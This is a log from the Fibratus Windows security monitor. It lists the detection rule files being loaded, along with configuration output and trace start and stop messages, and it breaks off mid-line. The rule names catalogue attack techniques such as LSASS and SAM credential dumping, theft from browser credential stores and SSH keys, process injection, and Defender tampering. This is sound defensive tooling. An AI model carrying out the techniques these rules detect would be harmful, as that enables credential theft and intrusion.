source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:29:49+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T14:29:49+01:00 level=info msg=bootstrapping with pid 18348. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T14:29:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>false enable-handle=>false enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 flush-interval=>1s enable-fileio=>true enable-threadpool=>false stack-enrichment=>true enable-vamap=>true enable-image=>true enable-dns=>false enable-registry=>true enable-audit-api=>true enable-thread=>true buffer-size=>512 min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-age=>0 max-size=>100 max-backups=>15 formatter=>text] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false routing-key=>fibratus exchange-type=>topic enabled=>false delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ exchange=>fibratus durable=>false passive=>false timeout=>5s] elasticsearch=>[ timeout=>5s bulk-workers=>1 gzip-compression=>false healthcheck-timeout=>5s index-name=>fibratus sniff=>false flush-period=>1s template-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-interval=>10s trace-log=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ level=>info enabled=>false] http=>[ method=>POST tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s serializer=>json enabled=>false endpoints=>[]]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-allocs=>false scan-timeout=>10s excluded-procs=>[] enabled=>false skip-mmaps=>false skip-files=>false skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T14:29:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T14:29:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T14:30:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T14:30:05+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T14:30:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T14:30:46+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from 